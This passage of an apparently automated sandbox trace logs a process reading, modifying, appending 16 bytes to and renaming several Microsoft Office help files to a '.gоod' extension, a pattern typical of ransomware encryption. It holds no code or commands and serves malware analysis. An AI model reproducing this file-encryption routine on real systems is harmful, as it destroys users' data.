fInfoLevelId=0x0, lpFileInformation=0x33ef560 | out: lpFileInformation=0x33ef560*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c15e5f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x22756)) returned 1 [0203.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0203.762] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS", lpFilePart=0x0) returned 0x44 [0203.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0203.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0203.763] GetFileType (hFile=0x478) returned 0x1 [0203.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0203.763] GetFileType (hFile=0x478) returned 0x1 [0203.764] SetFilePointer (in: hFile=0x478, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0203.764] ReadFile (in: hFile=0x478, lpBuffer=0x34c7090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x34c7090*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0204.088] CloseHandle (hObject=0x478) returned 1 [0204.088] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS", lpFilePart=0x0) returned 0x44 [0204.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0204.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0204.088] GetFileType (hFile=0x478) returned 0x1 [0204.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0204.088] GetFileType (hFile=0x478) returned 0x1 [0204.088] SetFilePointer (in: hFile=0x478, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x22756 [0204.088] WriteFile (in: hFile=0x478, lpBuffer=0x34bea88*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x34bea88*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0204.089] CloseHandle (hObject=0x478) returned 1 [0204.089] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS", lpFilePart=0x0) returned 0x44 [0204.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0204.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0204.090] GetFileType (hFile=0x478) returned 0x1 [0204.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0204.090] GetFileType (hFile=0x478) returned 0x1 [0204.090] ReadFile (in: hFile=0x478, lpBuffer=0x34c0d48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x34c0d48*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0204.123] CloseHandle (hObject=0x478) returned 1 [0204.123] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS", lpFilePart=0x0) returned 0x44 [0204.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0204.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0204.123] GetFileType (hFile=0x478) returned 0x1 [0204.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0204.123] GetFileType (hFile=0x478) returned 0x1 [0204.124] WriteFile (in: hFile=0x478, lpBuffer=0x34bfaa0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x34bfaa0*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0204.124] CloseHandle (hObject=0x478) returned 1 [0204.124] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS", lpFilePart=0x0) returned 0x44 [0204.124] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS.gоod", lpFilePart=0x0) returned 0x49 [0204.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0204.124] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c15e5f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x75e1c953, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x22766)) returned 1 [0204.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0204.124] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_ONLINE.HXS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_online.hxs.gоod")) returned 1 [0204.126] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS", lpFilePart=0x0) returned 0x41 [0204.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0204.126] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess.hxs"), fInfoLevelId=0x0, lpFileInformation=0x353e5a0 | out: lpFileInformation=0x353e5a0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1de43d5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9ba9874, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4297c)) returned 1 [0204.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0204.126] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS", lpFilePart=0x0) returned 0x41 [0204.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0204.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0204.127] GetFileType (hFile=0x478) returned 0x1 [0204.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0204.127] GetFileType (hFile=0x478) returned 0x1 [0204.127] SetFilePointer (in: hFile=0x478, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0204.127] ReadFile (in: hFile=0x478, lpBuffer=0x353e9a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x353e9a8*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0204.215] CloseHandle (hObject=0x478) returned 1 [0204.752] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS", lpFilePart=0x0) returned 0x41 [0204.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0204.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0204.752] GetFileType (hFile=0x838) returned 0x1 [0204.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0204.752] GetFileType (hFile=0x838) returned 0x1 [0204.752] SetFilePointer (in: hFile=0x838, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x4297c [0204.752] WriteFile (in: hFile=0x838, lpBuffer=0x35b30f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x35b30f0*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0204.756] CloseHandle (hObject=0x838) returned 1 [0204.756] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS", lpFilePart=0x0) returned 0x41 [0204.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0204.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0204.756] GetFileType (hFile=0x838) returned 0x1 [0204.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0204.756] GetFileType (hFile=0x838) returned 0x1 [0204.756] ReadFile (in: hFile=0x838, lpBuffer=0x35b5ce8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x35b5ce8*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0204.860] CloseHandle (hObject=0x838) returned 1 [0204.860] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS", lpFilePart=0x0) returned 0x41 [0204.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0204.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0204.861] GetFileType (hFile=0x838) returned 0x1 [0204.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0204.861] GetFileType (hFile=0x838) returned 0x1 [0204.861] WriteFile (in: hFile=0x838, lpBuffer=0x33bba08*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x33bba08*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0204.861] CloseHandle (hObject=0x838) returned 1 [0204.861] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS", lpFilePart=0x0) returned 0x41 [0204.861] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS.gоod", lpFilePart=0x0) returned 0x46 [0204.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0204.861] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1de43d5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x7651d97d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4298c)) returned 1 [0204.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0204.861] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSACCESS.HXS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msaccess.hxs.gоod")) returned 1 [0204.863] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS", lpFilePart=0x0) returned 0x3e [0204.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0204.863] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc.hxs"), fInfoLevelId=0x0, lpFileInformation=0x34384b8 | out: lpFileInformation=0x34384b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3143659, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9b8364e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d0b0)) returned 1 [0205.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0205.120] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS", lpFilePart=0x0) returned 0x3e [0205.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0205.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0205.121] GetFileType (hFile=0x838) returned 0x1 [0205.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0205.121] GetFileType (hFile=0x838) returned 0x1 [0205.121] SetFilePointer (in: hFile=0x838, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0205.121] ReadFile (in: hFile=0x838, lpBuffer=0x3641d58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x3641d58*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0205.123] CloseHandle (hObject=0x838) returned 1 [0205.123] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS", lpFilePart=0x0) returned 0x3e [0205.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0205.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0205.123] GetFileType (hFile=0x838) returned 0x1 [0205.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0205.123] GetFileType (hFile=0x838) returned 0x1 [0205.123] SetFilePointer (in: hFile=0x838, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x2d0b0 [0205.123] WriteFile (in: hFile=0x838, lpBuffer=0x3643058*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x3643058*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0205.124] CloseHandle (hObject=0x838) returned 1 [0205.124] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS", lpFilePart=0x0) returned 0x3e [0205.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0205.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0205.124] GetFileType (hFile=0x838) returned 0x1 [0205.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0205.125] GetFileType (hFile=0x838) returned 0x1 [0205.125] ReadFile (in: hFile=0x838, lpBuffer=0x3645350, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x3645350*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0205.263] CloseHandle (hObject=0x838) returned 1 [0205.263] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS", lpFilePart=0x0) returned 0x3e [0205.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0205.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0205.263] GetFileType (hFile=0x838) returned 0x1 [0205.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0205.263] GetFileType (hFile=0x838) returned 0x1 [0205.264] WriteFile (in: hFile=0x838, lpBuffer=0x33d88a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x33d88a8*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0205.264] CloseHandle (hObject=0x838) returned 1 [0205.264] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS", lpFilePart=0x0) returned 0x3e [0205.264] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS.gоod", lpFilePart=0x0) returned 0x43 [0205.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0205.264] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc.hxs"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3143659, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x768fd6fd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2d0c0)) returned 1 [0205.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0205.264] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSOUC.HXS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\msouc.hxs.gоod")) returned 1 [0205.266] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS", lpFilePart=0x0) returned 0x3e [0205.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0205.266] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.hxs"), fInfoLevelId=0x0, lpFileInformation=0x33fce80 | out: lpFileInformation=0x33fce80*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c15e5f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5f470)) returned 1 [0205.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0205.266] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS", lpFilePart=0x0) returned 0x3e [0205.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0205.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\mspub.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x838 [0205.267] GetFileType (hFile=0x838) returned 0x1 [0205.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0205.267] GetFileType (hFile=0x838) returned 0x1 [0205.267] SetFilePointer (in: 